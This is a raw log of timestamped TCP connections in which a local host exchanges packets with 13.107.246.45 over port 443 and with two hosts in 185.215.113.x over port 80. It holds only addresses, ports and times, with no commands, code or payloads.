Oct 7, 2024 03:23:11.267157078 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.267199993 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.267199993 CEST	49823	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.267225981 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.267246008 CEST	443	49823	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.269418001 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.269443989 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.269500971 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.269849062 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.269859076 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.270834923 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.270886898 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.270957947 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.271075964 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.271097898 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.273641109 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.273772955 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.273858070 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.277630091 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.277650118 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.277676105 CEST	49824	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.277688026 CEST	443	49824	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.281892061 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.281970978 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.282114983 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.282306910 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.282340050 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.516014099 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.516102076 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.516292095 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.516367912 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.516381025 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.516391039 CEST	49822	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.516395092 CEST	443	49822	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.517059088 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.517190933 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.517257929 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.517663002 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.517666101 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.517682076 CEST	49825	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.517685890 CEST	443	49825	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.520370960 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.520448923 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.520540953 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.520729065 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.520765066 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.521322966 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.521343946 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.521414995 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.521557093 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.521598101 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.922907114 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.927723885 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.927786112 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.928070068 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.928081989 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.931010962 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.931318998 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.931332111 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.931700945 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.931706905 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.939645052 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.940956116 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.941020012 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:11.941318989 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:11.941335917 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.024760962 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.032958984 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.033711910 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.033890009 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.033905029 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.033936977 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.042538881 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.042697906 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.047081947 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.074527979 CEST	49828	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.074567080 CEST	443	49828	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.131887913 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.131903887 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.131912947 CEST	49826	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.131917953 CEST	443	49826	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.136359930 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.136359930 CEST	49827	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.136408091 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.136430025 CEST	443	49827	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.141340017 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.141407013 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.141479015 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.144613981 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.144649029 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.145706892 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.145740032 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.145797968 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.145898104 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.145909071 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.150037050 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.150075912 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.150126934 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.153568029 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.153583050 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.168890953 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.169219017 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.169295073 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.169830084 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.169846058 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.188262939 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.188596010 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.188611984 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.197484016 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.197494984 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.272514105 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.272600889 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.272667885 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.272813082 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.272857904 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.272887945 CEST	49830	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.272905111 CEST	443	49830	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.275834084 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.275876045 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.275933981 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.276170969 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.276185036 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.296287060 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.296516895 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.296576977 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.296789885 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.296791077 CEST	49829	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.296808004 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.296828032 CEST	443	49829	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.299628973 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.299669981 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.299737930 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.299869061 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.299896002 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.658662081 CEST	49804	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:12.658943892 CEST	49836	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:12.788014889 CEST	80	49836	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:12.788050890 CEST	80	49804	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:12.788088083 CEST	49836	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:12.788120985 CEST	49804	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:12.788412094 CEST	49836	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:12.793458939 CEST	80	49836	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:12.968457937 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.968888998 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.968902111 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.969471931 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.969476938 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.976533890 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.976887941 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.976897955 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.977264881 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.977271080 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.979708910 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.980096102 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.980108023 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.980501890 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.980505943 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.987471104 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.987778902 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.987822056 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.988145113 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.988157988 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.996085882 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.996364117 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.996371031 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:12.996716976 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:12.996721029 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.065609932 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.065680027 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.065726042 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.065742016 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.065785885 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.065831900 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.065926075 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.065926075 CEST	49832	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.065943003 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.065953016 CEST	443	49832	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.068614006 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.068634987 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.068696022 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.069000959 CEST	49837	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.069014072 CEST	443	49837	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.074279070 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.074498892 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.074549913 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.074615002 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.074625015 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.074636936 CEST	49835	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.074644089 CEST	443	49835	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.077228069 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.077236891 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.077286005 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.077488899 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.077498913 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.078485012 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.080667973 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.080723047 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.080766916 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.080777884 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.080786943 CEST	49833	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.080794096 CEST	443	49833	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.082921982 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.082998037 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.083069086 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.083380938 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.083422899 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.093765974 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.093831062 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.093894958 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.093986988 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.093986988 CEST	49831	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.094016075 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.094039917 CEST	443	49831	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.096232891 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.096601009 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.096652985 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.096659899 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.096698999 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.096741915 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.097301960 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.097307920 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.097316980 CEST	49834	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.097322941 CEST	443	49834	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.101042986 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.101145983 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.101260900 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.102111101 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.102113962 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.102148056 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.102164984 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.102255106 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.102860928 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.102889061 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.484791040 CEST	80	49836	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:13.485515118 CEST	49836	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:13.487948895 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:13.488168001 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:13.492948055 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:13.493182898 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:13.493215084 CEST	80	49810	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:13.493335962 CEST	49810	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:13.493395090 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:13.498143911 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:13.722759008 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.729701042 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.733536959 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.733573914 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.733875036 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.733882904 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.736295938 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.738970041 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.739029884 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.740339041 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.740355015 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.747806072 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.755705118 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.755748034 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.757625103 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.757637978 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.782596111 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.828680038 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.828753948 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.828876972 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.829653025 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.835076094 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.835176945 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.836747885 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.853364944 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.853532076 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.853701115 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.864185095 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.864201069 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.864737034 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.864759922 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.864768028 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.864790916 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.864826918 CEST	49841	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.864844084 CEST	443	49841	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.886173010 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.886173010 CEST	49839	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.886218071 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.886244059 CEST	443	49839	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.895116091 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.895116091 CEST	49840	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:13.895154953 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.895178080 CEST	443	49840	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.963762045 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.963926077 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:13.964531898 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.044632912 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.044632912 CEST	49838	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.044662952 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.044676065 CEST	443	49838	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.072276115 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.072343111 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.073400021 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.087285042 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.087326050 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.087733030 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.087733984 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.087810993 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.087826014 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.087842941 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.087887049 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.087887049 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.106677055 CEST	49846	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.106702089 CEST	443	49846	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.106782913 CEST	49843	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.106833935 CEST	443	49843	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.167804956 CEST	49844	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.167833090 CEST	443	49844	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.167927980 CEST	49845	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:14.167960882 CEST	443	49845	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:14.334355116 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334383965 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334400892 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334415913 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334414959 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334433079 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334446907 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334446907 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334460020 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334466934 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334466934 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334476948 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334494114 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334496021 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334512949 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334517002 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334525108 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334531069 CEST	80	49842	185.215.113.103	192.168.2.4
Oct 7, 2024 03:23:14.334553957 CEST	49842	80	192.168.2.4	185.215.113.103
Oct 7, 2024 03:23:14.334554911 CEST	80	49842	185.215.113.103	192.168.2.4
